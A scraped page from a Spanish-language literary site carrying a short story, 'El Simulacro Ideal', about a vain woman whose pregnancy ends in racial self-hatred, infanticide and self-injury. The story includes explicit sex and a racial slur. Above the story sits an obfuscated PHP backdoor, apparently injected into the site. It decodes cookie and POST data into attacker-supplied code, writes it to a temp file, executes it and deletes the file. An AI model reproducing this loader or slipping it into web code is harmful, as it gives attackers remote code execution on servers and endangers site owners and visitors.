$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> El Simulacro Ideal – www.interferencechannel.com

El Simulacro Ideal

Se tiró de espaldas con los brazos abiertos en el amplio colchón y por un momento miró complacida su cuerpo desnudo en el espejo pegado al techo sobre la cama. Los pezones grandes y rosados, el abdomen terso, definido. Su pelo rubio desparramado como un abanico roto sobre la almohada. Al cruzar la puerta se había dejado embriagar por el color de las sábanas, por la luz fría del baño y la baldosa ilustrada con motivos de flores menudas y violetas y la bañera de burbujas y el lavamanos sin perilla, el lujo resaltado en las cortinas de pliegues espesos tras las que se escondía una máquina de poses. El hombre comenzó a deslizar sus manos desde los tobillos pasando por sus muslos torneados para terminar en las caderas. Viéndole el reflejo de la espalda al tipo sintió la tibieza húmeda de un beso en medio de las tetas y después, cuando él estuvo a la altura de su cara, dejó de verse en el espejo.

En casa contó de nuevo los billetes. Echó luego una ojeada en derredor y las paredes en esterilla le hicieron sentirse arrogante, como si aquello no fuera lo suyo. Guardó bien la platica de la noche en un cajón de madera mordisqueado por la broma. Se sentó frente al tocadoren pijama, fue peinándose con parsimonia al tiempo que reflexionaba sobre su belleza y resolvió que no podía haber otra más deseada. Escuchó los aplausos que le dedicaban sus fantasmas y sonrió para su reflejo perversamente, creyendo que aquel gesto impostado de maldad añadía a su rostro una facultad extraordinaria de hermosura.

Por esto, quizá, no podía decirse que amara a ninguno. Entre la multitud angostada de las discotecas siempre había con quien cruzar una mirada definitiva. Ella era el olor del apetito incontinente y un arreglo de moralidades es cosa de palabras rápidas, sin nada que atrofie el sentido natural de lo que se quiere. Además, incluso como un secreto para sí misma, la búsqueda de compañía guardaba la esperanza triste de que aquella vez fuera para siempre, de que el amor legendario adviniera encarnado en la forma de un príncipe a lomos de un corcel con exosto. Fue eso de terminar en un motel de paso a la luz de las farolas amarillentas de la carretera lo que le hizo pensar que la seducción residía en el lujo secreto de la novedad del cuarto que les esperaba.

–Entonces qué, negrita –le dijeron en una ocasión y cacheteó al tipo y casi lo escupe y negra tu puta madre maricón.

Ese día del vómito y de los mareos lo pensó dos veces antes de hacerse la prueba. Luego fue y le dijo al tipo del que sospechaba, este contestó listo mamita hágale que todo bien. Será tal como me gusta, se dijo ya sola, y no supo bien si era una afirmación o se lo estaba preguntando. En todo caso, volvió a mirar las paredes de esterilla como si sólo fueran un asilo pasajero. Los meses pasaron interminables entre aguaceros calurosos y noches donde soñaba movimientos de manos que trataban de abrirle el estómago desde adentro. A veces todavía, quizá por la duda tácita hacia los eventos programados, lloraba porque su figura tal vez no sería la misma después del alumbramiento y porque el amor sólo dejara una estela de polvo en el camino.

El día del parto se desmayó en el primer dolor y cuando despertó le preguntaron por el padre del bebé y no supo responderles nada. Dónde está mi niño, les dijo. En un rato, mujer, tranquila, descanse. La hicieron dormir con una aguja delicada porque se estaba alterando y al despertar de nuevo tenía un bultito envuelto a su lado. Sonreía mientras lo destapaba y se dio cuenta que era negro. Doctor, dijo, este bebé no es mío, es una infamia. Dónde está mi bebé, gritó. La enfermera sonrió confundida y le dijo qué cosas, mujer, mírelo tan lindo. Ella calló suspicaz y esperó a quedarse sola mientras el asco le traía sabores amargos a la garganta. Se levantó dolorida con el bulto en brazos y fue hasta el espejo del baño y vio con terror que ella misma era negra. La cabellera un matojo de pelos alambrados teñidos de rubio descolorido. Apoyó la mano libre en la figura reflejada y descubrió que sus dedos eran negros también. Vencida por el espanto ahogó al niño en el retrete pensando que así recuperaría su beldad y al mirarse otra vez en el espejo era la misma negra de hace un instante. Entre lágrimas de rabia se abrió la cabeza dándose contra el cristal, después salió corriendo ensangrentada por los pasillos de la clínica.

 Nadie volvió a verla por el barrio. Cuando se reunían en las fiestas de la taberna donde los hombres se turnan a las mujeres, los primeros días de su ausencia se decían vea pues, a lo mejor ésta pinchada al fin dio con lo que quería.♦

Felipe Cáceres Cerón.

felip

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